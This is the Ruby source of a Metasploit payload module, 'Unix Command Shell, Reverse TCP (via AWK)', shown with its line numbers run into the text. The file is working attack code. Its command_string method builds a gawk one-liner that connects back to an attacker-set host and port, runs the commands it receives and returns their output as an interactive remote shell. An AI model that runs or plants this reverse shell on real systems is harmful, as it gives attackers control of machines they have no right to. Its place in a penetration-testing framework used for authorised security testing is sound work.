Path: blob/master/modules/payloads/singles/cmd/unix/reverse_awk.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 15478include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse TCP (via AWK)',16'Description' => 'Creates an interactive shell via GNU AWK',17'Author' => [18'espreto <robertoespreto[at]gmail.com>',19'Ulisses Castro <uss.thebug[at]gmail.com>',20'Gabriel Quadros <gquadrossilva[at]gmail.com>'21],22'License' => MSF_LICENSE,23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Handler' => Msf::Handler::ReverseTcp,26'Session' => Msf::Sessions::CommandShell,27'PayloadType' => 'cmd',28'RequiredCmd' => 'gawk',29'Payload' => {30'Offsets' => {},31'Payload' => ''32}33)34)35end3637#38# Constructs the payload39#40def generate(_opts = {})41super + command_string42end4344#45# Returns the command string to use for execution46#47def command_string48awkcmd = <<~AWK49awk 'BEGIN{50s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";51do{52if((s|&getline c)<=0)53break;54if(c){55while((c|&getline)>0)print $0|&s;56close(c)57}58} while(c!=\"exit\")59close(s)60}'61AWK62awkcmd.gsub!("\n", '').gsub!(' ', '')63end64end656667